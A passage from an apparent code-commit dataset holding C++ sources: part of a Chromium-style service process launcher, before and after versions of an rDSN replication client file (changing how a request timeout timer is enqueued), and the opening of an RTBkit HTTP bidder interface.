&Launcher::DoRun));\n}\n\nServiceProcessControl::Launcher::~Launcher() {}\n\nvoid ServiceProcessControl::Launcher::Notify() {\n  DCHECK(notify_task_.get());\n  notify_task_->Run();\n  notify_task_.reset();\n}\n\n#if !defined(OS_MACOSX)\nvoid ServiceProcessControl::Launcher::DoDetectLaunched() {\n  DCHECK(notify_task_.get());\n  const uint32 kMaxLaunchDetectRetries = 10;\n  launched_ = CheckServiceProcessReady();\n  if (launched_ || (retry_count_ >= kMaxLaunchDetectRetries)) {\n    BrowserThread::PostTask(BrowserThread::UI, FROM_HERE,\n        NewRunnableMethod(this, &Launcher::Notify));\n    return;\n  }\n  retry_count_++;\n\n  \/\/ If the service process is not launched yet then check again in 2 seconds.\n  const int kDetectLaunchRetry = 2000;\n  MessageLoop::current()->PostDelayedTask(\n      FROM_HERE,\n      NewRunnableMethod(this, &Launcher::DoDetectLaunched),\n      kDetectLaunchRetry);\n}\n\nvoid ServiceProcessControl::Launcher::DoRun() {\n  DCHECK(notify_task_.get());\n  if (base::LaunchApp(*cmd_line_, false, true, NULL)) {\n    BrowserThread::PostTask(BrowserThread::IO, FROM_HERE,\n                            NewRunnableMethod(this,\n                                              &Launcher::DoDetectLaunched));\n  } else {\n    BrowserThread::PostTask(BrowserThread::UI, FROM_HERE,\n                            NewRunnableMethod(this, &Launcher::Notify));\n  }\n}\n#endif  \/\/ !OS_MACOSX\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Microsoft Corporation\n * \n * -=- Robust Distributed System Nucleus (rDSN) -=- \n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n#include \"replication_common.h\"\n#include \"rpc_replicated.h\"\n\nnamespace dsn { namespace replication {\n\nusing namespace ::dsn::service;\n\nvoid replication_app_client_base::load_meta_servers(\n        configuration_ptr& cf, \n        __out_param std::vector<end_point>& servers\n        )\n{\n    \/\/ read meta_servers from machine list file\n    servers.clear();\n\n    std::vector<std::string> server_ss;\n    cf->get_all_keys(\"replication.meta_servers\", server_ss);\n    for (auto& s : server_ss)\n    {\n        \/\/ name:port\n        auto pos1 = s.find_first_of(':');\n        if (pos1 != std::string::npos)\n        {\n            end_point ep(s.substr(0, pos1).c_str(), atoi(s.substr(pos1 + 1).c_str()));\n            servers.push_back(ep);\n        }\n    }\n}\n\nreplication_app_client_base::replication_app_client_base(\n    const std::vector<end_point>& meta_servers, \n    const char* app_name\n    )\n{\n    _app_name = std::string(app_name);   \n    _meta_servers = meta_servers;\n\n    _app_id = -1;\n    _app_partition_count = -1;\n    _last_contact_point = end_point::INVALID;\n}\n\nreplication_app_client_base::~replication_app_client_base()\n{\n    clear_all_pending_tasks();\n}\n\nvoid replication_app_client_base::clear_all_pending_tasks()\n{\n    message_ptr nil(nullptr);\n\n    service::zauto_lock l(_requests_lock);\n    for (auto& pc : _pending_requests)\n    {\n        if (pc.second->query_config_task != nullptr)\n            pc.second->query_config_task->cancel(true);\n\n        for (auto& rc : pc.second->requests)\n        {\n            end_request(rc, ERR_TIMEOUT, nil);\n            delete rc;\n        }\n        delete pc.second;\n    }\n    _pending_requests.clear();\n}\n\n\nvoid replication_app_client_base::on_user_request_timeout(request_context* rc)\n{\n    message_ptr nil(nullptr);\n    rc->callback_task->enqueue(ERR_TIMEOUT, nil);\n}\n\nDEFINE_TASK_CODE(LPC_REPLICATION_CLIENT_REQUEST_TIMEOUT, TASK_PRIORITY_COMMON, THREAD_POOL_DEFAULT)\nDEFINE_TASK_CODE(LPC_REPLICATION_DELAY_QUERY_CONFIG, TASK_PRIORITY_COMMON, THREAD_POOL_DEFAULT)\n\nreplication_app_client_base::request_context* replication_app_client_base::create_write_context(\n    int partition_index,\n    task_code code,\n    rpc_response_task_ptr& callback,\n    int reply_hash\n    )\n{\n    auto rc = new request_context;\n    rc->callback_task = callback;    \n    rc->is_read = false;\n    rc->partition_index = partition_index;    \n    rc->write_header.gpid.app_id = _app_id;\n    rc->write_header.gpid.pidx = partition_index;\n    rc->write_header.code = code;\n    rc->timeout_timer = nullptr;\n\n    if (rc->write_header.gpid.app_id == -1)\n    {\n        rc->header_pos = callback->get_request()->writer().write_placeholder();\n        dbg_dassert(rc->header_pos != 0xffff, \"\");\n    }\n    else\n    {\n        rc->header_pos = 0xffff;\n        marshall(callback->get_request()->writer(), rc->write_header);\n        callback->get_request()->header().client.hash = gpid_to_hash(rc->write_header.gpid);\n    }\n\n    return rc;\n}\n\nreplication_app_client_base::request_context* replication_app_client_base::create_read_context(\n    int partition_index,\n    task_code code,\n    rpc_response_task_ptr& callback,\n    read_semantic_t read_semantic,\n    decree snapshot_decree, \/\/ only used when ReadSnapshot        \n    int reply_hash\n    )\n{\n    auto rc = new request_context;\n    rc->callback_task = callback;    \n    rc->is_read = true;\n    rc->partition_index = partition_index;\n    rc->read_header.gpid.app_id = _app_id;\n    rc->read_header.gpid.pidx = partition_index;\n    rc->read_header.code = code;\n    rc->read_header.semantic = read_semantic;\n    rc->read_header.version_decree = snapshot_decree;\n    rc->timeout_timer = nullptr;\n\n    if (rc->read_header.gpid.app_id == -1)\n    {\n        rc->header_pos = callback->get_request()->writer().write_placeholder();\n        dbg_dassert(rc->header_pos != 0xffff, \"\");\n    }\n    else\n    {\n        rc->header_pos = 0xffff;\n        marshall(callback->get_request()->writer(), rc->read_header);\n        callback->get_request()->header().client.hash = gpid_to_hash(rc->read_header.gpid);\n    }\n\n    return rc;\n}\n\nvoid replication_app_client_base::end_request(request_context* request, error_code err, message_ptr& resp)\n{\n    if (request->timeout_timer == nullptr || request->timeout_timer->cancel(true))\n    {\n        request->callback_task->enqueue(err, resp);\n    }\n}\n\nvoid replication_app_client_base::call(request_context* request, bool no_delay)\n{\n    auto& msg = request->callback_task->get_request();\n    auto nts = ::dsn::service::env::now_us();\n    if (nts + 100 >= msg->header().client.timeout_ts_us) \/\/ < 100us\n    {\n        message_ptr nil(nullptr);\n        end_request(request, ERR_TIMEOUT, nil);\n        delete request;\n        return;\n    }\n\n    end_point addr;\n    int app_id;\n\n    error_code err = get_address(\n        request->partition_index,\n        !request->is_read,\n        addr,\n        app_id,\n        request->read_header.semantic\n        );\n\n    \/\/ target node in cache\n    if (err == ERR_OK)\n    {\n        dbg_dassert(addr != end_point::INVALID, \"\");\n        dassert(app_id > 0, \"\");\n\n        if (request->header_pos != 0xffff)\n        {\n            if (request->is_read)\n            {\n                request->read_header.gpid.app_id = app_id;\n                marshall(msg->writer(), request->read_header, request->header_pos);\n                msg->header().client.hash = gpid_to_hash(request->read_header.gpid);\n            }\n            else\n            {\n                request->write_header.gpid.app_id = app_id;\n                marshall(msg->writer(), request->write_header, request->header_pos);\n                msg->header().client.hash = gpid_to_hash(request->write_header.gpid);\n            }\n\n            request->header_pos = 0xffff;\n        }\n\n        rpc::call(\n            addr,\n            msg,\n            this,\n            std::bind(\n            &replication_app_client_base::replica_rw_reply,\n            this,\n            std::placeholders::_1,\n            std::placeholders::_2,\n            std::placeholders::_3,\n            request\n            )\n            );\n    }\n\n    \/\/ target node not known\n    else if (!no_delay)\n    {\n        \/\/ delay 1 second for further config query\n        tasking::enqueue(LPC_REPLICATION_DELAY_QUERY_CONFIG, this,\n            std::bind(&replication_app_client_base::call, this, request, true),\n            0,\n            1000\n            );\n    }\n    \n    else\n    {\n        zauto_lock l(_requests_lock);\n\n        \/\/ init timeout timer if necessary\n        if (request->timeout_timer == nullptr)\n        {\n            request->timeout_timer = tasking::enqueue(\n                LPC_REPLICATION_CLIENT_REQUEST_TIMEOUT,\n                this,\n                std::bind(&replication_app_client_base::on_user_request_timeout, this, request),\n                0,\n                static_cast<int>((msg->header().client.timeout_ts_us - nts) \/ 1000)\n                );\n        }\n\n        \/\/ put into pending queue of querying target partition \n        auto it = _pending_requests.find(request->partition_index);\n        if (it == _pending_requests.end())\n        {\n            auto pc = new partition_context;\n            pc->query_config_task = nullptr;\n            it = _pending_requests.insert(pending_requests::value_type(request->partition_index, pc)).first;\n        }\n\n        it->second->requests.push_back(request);\n\n        \/\/ init configuration query task if necessary\n        if (it->second->query_config_task == nullptr)\n        {\n            message_ptr msg = message::create_request(RPC_CM_CALL);\n\n            meta_request_header hdr;\n            hdr.rpc_tag = RPC_CM_QUERY_PARTITION_CONFIG_BY_INDEX;\n            marshall(msg->writer(), hdr);\n\n            configuration_query_by_index_request req;\n            req.app_name = _app_name;\n            req.partition_indices.push_back(request->partition_index);\n            marshall(msg->writer(), req);\n            \n            it->second->query_config_task = rpc::call_replicated(\n                _last_contact_point,\n                _meta_servers,\n                msg,\n\n                this,\n                std::bind(&replication_app_client_base::query_partition_configuration_reply,\n                    this, \n                    std::placeholders::_1,\n                    std::placeholders::_2,\n                    std::placeholders::_3,\n                    request->partition_index\n                    )\n                );\n        }\n    }\n}\n\nvoid replication_app_client_base::replica_rw_reply(\n    error_code err,\n    message_ptr& request,\n    message_ptr& response,\n    request_context* rc\n    )\n{\n    if (err != ERR_OK)\n    {\n        goto Retry;\n    }\n\n    int err2;\n    response->reader().read(err2);\n    \n    if (err2 != ERR_OK && err2 != ERR_HANDLER_NOT_FOUND)\n    {\n        goto Retry;\n    }\n    else\n    {\n        error_code err3;\n        err3.set(err2);\n        end_request(rc, err3, response);\n        delete rc;\n    }\n    return;\n\nRetry:\n    \/\/ clear partition configuration as it could be wrong\n    {\n        zauto_write_lock l(_config_lock);\n        _config_cache.erase(rc->is_read ? rc->read_header.gpid.pidx : rc->write_header.gpid.pidx);\n    }\n\n    \/\/ then retry\n    call(rc, false);\n}\n\nerror_code replication_app_client_base::get_address(int pidx, bool is_write, __out_param end_point& addr, __out_param int& app_id, read_semantic_t semantic)\n{\n    error_code err;\n    partition_configuration config;\n     \n    {\n    zauto_read_lock l(_config_lock);\n    auto it = _config_cache.find(pidx);\n    if (it != _config_cache.end())\n    {\n        err = ERR_OK;\n        config = it->second;\n    }\n    else\n    {\n        err = ERR_IO_PENDING;\n    }\n    }\n\n    if (err == ERR_OK)\n    {\n        app_id = _app_id;\n        if (is_write)\n        {\n            addr = config.primary;\n        }\n        else\n        {\n            addr = get_read_address(semantic, config);\n        }\n\n        if (dsn::end_point::INVALID == addr)\n        {\n            err = ERR_IO_PENDING;\n        }\n    } \n    return err;\n}\n\nvoid replication_app_client_base::query_partition_configuration_reply(error_code err, message_ptr& request, message_ptr& response, int pidx)\n{\n    if (!err)\n    {\n        configuration_query_by_index_response resp;\n        unmarshall(response->reader(), resp);\n        if (resp.err == ERR_OK)\n        {\n            zauto_write_lock l(_config_lock);\n            _last_contact_point = response->header().from_address;\n\n            if (resp.partitions.size() > 0)\n            {\n                if (_app_id != -1 && _app_id != resp.partitions[0].gpid.app_id)\n                {\n                    dassert(false, \"app id is changed (mostly the app was removed and created with the same name), local Vs remote: %u vs %u \",\n                        _app_id, resp.partitions[0].gpid.app_id);\n                }\n\n                _app_id = resp.partitions[0].gpid.app_id;\n                _app_partition_count = resp.partition_count;\n            }\n\n            for (auto it = resp.partitions.begin(); it != resp.partitions.end(); it++)\n            {\n                partition_configuration& new_config = *it;\n                auto it2 = _config_cache.find(new_config.gpid.pidx);\n                if (it2 == _config_cache.end())\n                {\n                    _config_cache[new_config.gpid.pidx] = new_config;\n                }\n                else if (it2->second.ballot < new_config.ballot)\n                {\n                    it2->second = new_config;\n                }\n            }\n        }\n    }\n        \n    \/\/ send pending client msgs\n    partition_context* pc = nullptr;\n    {\n        zauto_lock l(_requests_lock);\n        auto it = _pending_requests.find(pidx);\n        if (it != _pending_requests.end())\n        {\n            pc = it->second;\n            _pending_requests.erase(pidx);\n        }\n    }\n\n    if (pc != nullptr)\n    {\n        for (auto& req : pc->requests)\n        {   \n            call(req, false);\n        }\n        pc->requests.clear();\n        delete pc;\n    }\n}\n\nend_point replication_app_client_base::get_read_address(read_semantic_t semantic, const partition_configuration& config)\n{\n    if (semantic == read_semantic_t::ReadLastUpdate)\n        return config.primary;\n\n    \/\/ readsnapshot or readoutdated, using random\n    else\n    {\n        bool has_primary = false;\n        int N = static_cast<int>(config.secondaries.size());\n        if (config.primary != dsn::end_point::INVALID)\n        {\n            N++;\n            has_primary = true;\n        }\n\n        if (0 == N) return config.primary;\n\n        int r = random32(0, 1000) % N;\n        if (has_primary && r == N - 1)\n            return config.primary;\n        else\n            return config.secondaries[r];\n    }\n}\n\n}} \/\/ end namespace\n<commit_msg>add a new tasking::enqueue function to ensure happens-before relationship between task caller and task itself, to avoid some race conditions<commit_after>\/*\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Microsoft Corporation\n * \n * -=- Robust Distributed System Nucleus (rDSN) -=- \n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n#include \"replication_common.h\"\n#include \"rpc_replicated.h\"\n\nnamespace dsn { namespace replication {\n\nusing namespace ::dsn::service;\n\nvoid replication_app_client_base::load_meta_servers(\n        configuration_ptr& cf, \n        __out_param std::vector<end_point>& servers\n        )\n{\n    \/\/ read meta_servers from machine list file\n    servers.clear();\n\n    std::vector<std::string> server_ss;\n    cf->get_all_keys(\"replication.meta_servers\", server_ss);\n    for (auto& s : server_ss)\n    {\n        \/\/ name:port\n        auto pos1 = s.find_first_of(':');\n        if (pos1 != std::string::npos)\n        {\n            end_point ep(s.substr(0, pos1).c_str(), atoi(s.substr(pos1 + 1).c_str()));\n            servers.push_back(ep);\n        }\n    }\n}\n\nreplication_app_client_base::replication_app_client_base(\n    const std::vector<end_point>& meta_servers, \n    const char* app_name\n    )\n{\n    _app_name = std::string(app_name);   \n    _meta_servers = meta_servers;\n\n    _app_id = -1;\n    _app_partition_count = -1;\n    _last_contact_point = end_point::INVALID;\n}\n\nreplication_app_client_base::~replication_app_client_base()\n{\n    clear_all_pending_tasks();\n}\n\nvoid replication_app_client_base::clear_all_pending_tasks()\n{\n    message_ptr nil(nullptr);\n\n    service::zauto_lock l(_requests_lock);\n    for (auto& pc : _pending_requests)\n    {\n        if (pc.second->query_config_task != nullptr)\n            pc.second->query_config_task->cancel(true);\n\n        for (auto& rc : pc.second->requests)\n        {\n            end_request(rc, ERR_TIMEOUT, nil);\n            delete rc;\n        }\n        delete pc.second;\n    }\n    _pending_requests.clear();\n}\n\n\nvoid replication_app_client_base::on_user_request_timeout(request_context* rc)\n{\n    message_ptr nil(nullptr);\n    rc->callback_task->enqueue(ERR_TIMEOUT, nil);\n}\n\nDEFINE_TASK_CODE(LPC_REPLICATION_CLIENT_REQUEST_TIMEOUT, TASK_PRIORITY_COMMON, THREAD_POOL_DEFAULT)\nDEFINE_TASK_CODE(LPC_REPLICATION_DELAY_QUERY_CONFIG, TASK_PRIORITY_COMMON, THREAD_POOL_DEFAULT)\n\nreplication_app_client_base::request_context* replication_app_client_base::create_write_context(\n    int partition_index,\n    task_code code,\n    rpc_response_task_ptr& callback,\n    int reply_hash\n    )\n{\n    auto rc = new request_context;\n    rc->callback_task = callback;    \n    rc->is_read = false;\n    rc->partition_index = partition_index;    \n    rc->write_header.gpid.app_id = _app_id;\n    rc->write_header.gpid.pidx = partition_index;\n    rc->write_header.code = code;\n    rc->timeout_timer = nullptr;\n\n    if (rc->write_header.gpid.app_id == -1)\n    {\n        rc->header_pos = callback->get_request()->writer().write_placeholder();\n        dbg_dassert(rc->header_pos != 0xffff, \"\");\n    }\n    else\n    {\n        rc->header_pos = 0xffff;\n        marshall(callback->get_request()->writer(), rc->write_header);\n        callback->get_request()->header().client.hash = gpid_to_hash(rc->write_header.gpid);\n    }\n\n    return rc;\n}\n\nreplication_app_client_base::request_context* replication_app_client_base::create_read_context(\n    int partition_index,\n    task_code code,\n    rpc_response_task_ptr& callback,\n    read_semantic_t read_semantic,\n    decree snapshot_decree, \/\/ only used when ReadSnapshot        \n    int reply_hash\n    )\n{\n    auto rc = new request_context;\n    rc->callback_task = callback;    \n    rc->is_read = true;\n    rc->partition_index = partition_index;\n    rc->read_header.gpid.app_id = _app_id;\n    rc->read_header.gpid.pidx = partition_index;\n    rc->read_header.code = code;\n    rc->read_header.semantic = read_semantic;\n    rc->read_header.version_decree = snapshot_decree;\n    rc->timeout_timer = nullptr;\n\n    if (rc->read_header.gpid.app_id == -1)\n    {\n        rc->header_pos = callback->get_request()->writer().write_placeholder();\n        dbg_dassert(rc->header_pos != 0xffff, \"\");\n    }\n    else\n    {\n        rc->header_pos = 0xffff;\n        marshall(callback->get_request()->writer(), rc->read_header);\n        callback->get_request()->header().client.hash = gpid_to_hash(rc->read_header.gpid);\n    }\n\n    return rc;\n}\n\nvoid replication_app_client_base::end_request(request_context* request, error_code err, message_ptr& resp)\n{\n    if (request->timeout_timer == nullptr || request->timeout_timer->cancel(true))\n    {\n        request->callback_task->enqueue(err, resp);\n    }\n}\n\nvoid replication_app_client_base::call(request_context* request, bool no_delay)\n{\n    auto& msg = request->callback_task->get_request();\n    auto nts = ::dsn::service::env::now_us();\n    if (nts + 100 >= msg->header().client.timeout_ts_us) \/\/ < 100us\n    {\n        message_ptr nil(nullptr);\n        end_request(request, ERR_TIMEOUT, nil);\n        delete request;\n        return;\n    }\n\n    end_point addr;\n    int app_id;\n\n    error_code err = get_address(\n        request->partition_index,\n        !request->is_read,\n        addr,\n        app_id,\n        request->read_header.semantic\n        );\n\n    \/\/ target node in cache\n    if (err == ERR_OK)\n    {\n        dbg_dassert(addr != end_point::INVALID, \"\");\n        dassert(app_id > 0, \"\");\n\n        if (request->header_pos != 0xffff)\n        {\n            if (request->is_read)\n            {\n                request->read_header.gpid.app_id = app_id;\n                marshall(msg->writer(), request->read_header, request->header_pos);\n                msg->header().client.hash = gpid_to_hash(request->read_header.gpid);\n            }\n            else\n            {\n                request->write_header.gpid.app_id = app_id;\n                marshall(msg->writer(), request->write_header, request->header_pos);\n                msg->header().client.hash = gpid_to_hash(request->write_header.gpid);\n            }\n\n            request->header_pos = 0xffff;\n        }\n\n        rpc::call(\n            addr,\n            msg,\n            this,\n            std::bind(\n            &replication_app_client_base::replica_rw_reply,\n            this,\n            std::placeholders::_1,\n            std::placeholders::_2,\n            std::placeholders::_3,\n            request\n            )\n            );\n    }\n\n    \/\/ target node not known\n    else if (!no_delay)\n    {\n        \/\/ delay 1 second for further config query\n        tasking::enqueue(LPC_REPLICATION_DELAY_QUERY_CONFIG, this,\n            std::bind(&replication_app_client_base::call, this, request, true),\n            0,\n            1000\n            );\n    }\n    \n    else\n    {\n        zauto_lock l(_requests_lock);\n\n        \/\/ init timeout timer if necessary\n        if (request->timeout_timer == nullptr)\n        {\n            tasking::enqueue(\n                request->timeout_timer,\n                LPC_REPLICATION_CLIENT_REQUEST_TIMEOUT,\n                this,\n                std::bind(&replication_app_client_base::on_user_request_timeout, this, request),\n                0,\n                static_cast<int>((msg->header().client.timeout_ts_us - nts) \/ 1000)\n                );\n        }\n\n        \/\/ put into pending queue of querying target partition \n        auto it = _pending_requests.find(request->partition_index);\n        if (it == _pending_requests.end())\n        {\n            auto pc = new partition_context;\n            pc->query_config_task = nullptr;\n            it = _pending_requests.insert(pending_requests::value_type(request->partition_index, pc)).first;\n        }\n\n        it->second->requests.push_back(request);\n\n        \/\/ init configuration query task if necessary\n        if (it->second->query_config_task == nullptr)\n        {\n            message_ptr msg = message::create_request(RPC_CM_CALL);\n\n            meta_request_header hdr;\n            hdr.rpc_tag = RPC_CM_QUERY_PARTITION_CONFIG_BY_INDEX;\n            marshall(msg->writer(), hdr);\n\n            configuration_query_by_index_request req;\n            req.app_name = _app_name;\n            req.partition_indices.push_back(request->partition_index);\n            marshall(msg->writer(), req);\n            \n            it->second->query_config_task = rpc::call_replicated(\n                _last_contact_point,\n                _meta_servers,\n                msg,\n\n                this,\n                std::bind(&replication_app_client_base::query_partition_configuration_reply,\n                    this, \n                    std::placeholders::_1,\n                    std::placeholders::_2,\n                    std::placeholders::_3,\n                    request->partition_index\n                    )\n                );\n        }\n    }\n}\n\nvoid replication_app_client_base::replica_rw_reply(\n    error_code err,\n    message_ptr& request,\n    message_ptr& response,\n    request_context* rc\n    )\n{\n    if (err != ERR_OK)\n    {\n        goto Retry;\n    }\n\n    int err2;\n    response->reader().read(err2);\n    \n    if (err2 != ERR_OK && err2 != ERR_HANDLER_NOT_FOUND)\n    {\n        goto Retry;\n    }\n    else\n    {\n        error_code err3;\n        err3.set(err2);\n        end_request(rc, err3, response);\n        delete rc;\n    }\n    return;\n\nRetry:\n    \/\/ clear partition configuration as it could be wrong\n    {\n        zauto_write_lock l(_config_lock);\n        _config_cache.erase(rc->is_read ? rc->read_header.gpid.pidx : rc->write_header.gpid.pidx);\n    }\n\n    \/\/ then retry\n    call(rc, false);\n}\n\nerror_code replication_app_client_base::get_address(int pidx, bool is_write, __out_param end_point& addr, __out_param int& app_id, read_semantic_t semantic)\n{\n    error_code err;\n    partition_configuration config;\n     \n    {\n    zauto_read_lock l(_config_lock);\n    auto it = _config_cache.find(pidx);\n    if (it != _config_cache.end())\n    {\n        err = ERR_OK;\n        config = it->second;\n    }\n    else\n    {\n        err = ERR_IO_PENDING;\n    }\n    }\n\n    if (err == ERR_OK)\n    {\n        app_id = _app_id;\n        if (is_write)\n        {\n            addr = config.primary;\n        }\n        else\n        {\n            addr = get_read_address(semantic, config);\n        }\n\n        if (dsn::end_point::INVALID == addr)\n        {\n            err = ERR_IO_PENDING;\n        }\n    } \n    return err;\n}\n\nvoid replication_app_client_base::query_partition_configuration_reply(error_code err, message_ptr& request, message_ptr& response, int pidx)\n{\n    if (!err)\n    {\n        configuration_query_by_index_response resp;\n        unmarshall(response->reader(), resp);\n        if (resp.err == ERR_OK)\n        {\n            zauto_write_lock l(_config_lock);\n            _last_contact_point = response->header().from_address;\n\n            if (resp.partitions.size() > 0)\n            {\n                if (_app_id != -1 && _app_id != resp.partitions[0].gpid.app_id)\n                {\n                    dassert(false, \"app id is changed (mostly the app was removed and created with the same name), local Vs remote: %u vs %u \",\n                        _app_id, resp.partitions[0].gpid.app_id);\n                }\n\n                _app_id = resp.partitions[0].gpid.app_id;\n                _app_partition_count = resp.partition_count;\n            }\n\n            for (auto it = resp.partitions.begin(); it != resp.partitions.end(); it++)\n            {\n                partition_configuration& new_config = *it;\n                auto it2 = _config_cache.find(new_config.gpid.pidx);\n                if (it2 == _config_cache.end())\n                {\n                    _config_cache[new_config.gpid.pidx] = new_config;\n                }\n                else if (it2->second.ballot < new_config.ballot)\n                {\n                    it2->second = new_config;\n                }\n            }\n        }\n    }\n        \n    \/\/ send pending client msgs\n    partition_context* pc = nullptr;\n    {\n        zauto_lock l(_requests_lock);\n        auto it = _pending_requests.find(pidx);\n        if (it != _pending_requests.end())\n        {\n            pc = it->second;\n            _pending_requests.erase(pidx);\n        }\n    }\n\n    if (pc != nullptr)\n    {\n        for (auto& req : pc->requests)\n        {   \n            call(req, false);\n        }\n        pc->requests.clear();\n        delete pc;\n    }\n}\n\nend_point replication_app_client_base::get_read_address(read_semantic_t semantic, const partition_configuration& config)\n{\n    if (semantic == read_semantic_t::ReadLastUpdate)\n        return config.primary;\n\n    \/\/ readsnapshot or readoutdated, using random\n    else\n    {\n        bool has_primary = false;\n        int N = static_cast<int>(config.secondaries.size());\n        if (config.primary != dsn::end_point::INVALID)\n        {\n            N++;\n            has_primary = true;\n        }\n\n        if (0 == N) return config.primary;\n\n        int r = random32(0, 1000) % N;\n        if (has_primary && r == N - 1)\n            return config.primary;\n        else\n            return config.secondaries[r];\n    }\n}\n\n}} \/\/ end namespace\n<|endoftext|>"}
{"text":"<commit_before>\/* http_bidder_interface.cc\n   Eric Robert, 2 April 2014\n   Copyright (c) 2011 Datacratic.  All rights reserved.\n*\/\n\n#include \"http_bidder_interface.h\"\n#include \"jml\/db\/persistent.h\"\n#include \"soa\/service\/http_client.h\"\n#include \"soa\/utils\/generic_utils.h\"\n#include \"rtbkit\/common\/messages.h\"\n#include \"rtbkit\/plugins\/bid_request\/openrtb_bid_request.h\"\n#include \"rtbkit\/openrtb\/openrtb_parsing.h\"\n#include \"rtbkit\/core\/router\/router.h\"\n\nusing namespace Datacratic;\nusing namespace RTBKIT;\n\nnamespace {\n    DefaultDescription<OpenRTB::BidRequest> desc;\n\n    void tagRequest(OpenRTB::BidRequest &request,\n                    const std::map<std::string, BidInfo> &bidders)\n    {\n\n        for (const auto &bidder: bidders) {\n            const auto &agentConfig = bidder.second.agentConfig;\n            const auto &spots = bidder.second.imp;\n            const auto &creatives = agentConfig->creatives;\n\n            Json::Value creativesValue(Json::arrayValue);\n            for (const auto &spot: spots) {\n                const int adSpotIndex = spot.first;\n                ExcCheck(adSpotIndex >= 0 && adSpotIndex < request.imp.size(),\n                         \"adSpotIndex out of range\");\n                auto &imp = request.imp[adSpotIndex];\n                auto &ext = imp.ext;\n                for (int creativeIndex: spot.second) {\n                    ExcCheck(creativeIndex >= 0 && creativeIndex < creatives.size(),\n                             \"creativeIndex out of range\");\n                    const int creativeId = creatives[creativeIndex].id;\n                    creativesValue.append(creativeId);\n                }\n\n                ext[\"allowed_ids\"][std::to_string(agentConfig->externalId)] =\n                    std::move(creativesValue);\n\n            }\n\n        }\n\n    }\n}\n\nHttpBidderInterface::HttpBidderInterface(std::string name,\n                                         std::shared_ptr<ServiceProxies> proxies,\n                                         Json::Value const & json) {\n    host = json[\"host\"].asString();\n    path = json[\"path\"].asString();\n    httpClient.reset(new HttpClient(host));\n    loop.addSource(\"HttpBidderInterface::httpClient\", httpClient);\n}\n\n\nvoid HttpBidderInterface::sendAuctionMessage(std::shared_ptr<Auction> const & auction,\n                                             double timeLeftMs,\n                                             std::map<std::string, BidInfo> const & bidders) {\n    using namespace std;\n    for(auto & item : bidders) {\n        auto & agent = item.first;\n        auto & info = router->agents[agent];\n        const auto &config = info.config;\n        BidRequest originalRequest = *auction->request;\n        WinCostModel wcm = auction->exchangeConnector->getWinCostModel(*auction, *info.config);\n\n        OpenRTB::BidRequest openRtbRequest = toOpenRtb(originalRequest);\n        bool ok = prepareRequest(openRtbRequest, originalRequest, bidders);\n        \/* If we took too much time processing the request, then we don't send it.\n           Instead, we're making null bids for each impression\n        *\/\n        if (!ok) {\n            Bids bids;\n            for_each(begin(openRtbRequest.imp), end(openRtbRequest.imp),\n                     [&](const OpenRTB::Impression &imp) {\n                Bid theBid;\n                theBid.price = USD_CPM(0);\n                bids.push_back(move(theBid));\n            });\n            submitBids(agent, auction->id, bids, wcm);\n            return;\n        }\n        StructuredJsonPrintingContext context;\n        desc.printJson(&openRtbRequest, context);\n        auto requestStr = context.output.toString();\n\n        \/* We need to capture by copy inside the lambda otherwise we might get\n           a dangling reference if we go out of scope before receiving the http response\n        *\/\n        auto callbacks = std::make_shared<HttpClientSimpleCallbacks>(\n                [=](const HttpRequest &, HttpClientError errorCode,\n                    int, const std::string &, const std::string &body)\n                {\n                    if (errorCode != HttpClientError::NONE) {\n                        auto toErrorString = [](HttpClientError code) -> std::string {\n                            switch (code) {\n                                #define CASE(code) \\\n                                    case code: \\\n                                        return #code;\n                                CASE(HttpClientError::NONE)\n                                CASE(HttpClientError::UNKNOWN)\n                                CASE(HttpClientError::TIMEOUT)\n                                CASE(HttpClientError::HOST_NOT_FOUND)\n                                CASE(HttpClientError::COULD_NOT_CONNECT)\n                                #undef CASE\n                            }\n                            ExcCheck(false, \"Invalid code path\");\n                            return \"\";\n                        };\n                        cerr << \"Error requesting \" << host\n                                  << \": \" << toErrorString(errorCode);\n                      }\n                      else {\n                        \/\/ cerr << \"Response: \" << body << endl;\n                         OpenRTB::BidResponse response;\n                         ML::Parse_Context context(\"payload\",\n                               body.c_str(), body.size());\n                         StreamingJsonParsingContext jsonContext(context);\n                         static DefaultDescription<OpenRTB::BidResponse> respDesc;\n                         respDesc.parseJson(&response, jsonContext);\n\n                         for (const auto &seatbid: response.seatbid) 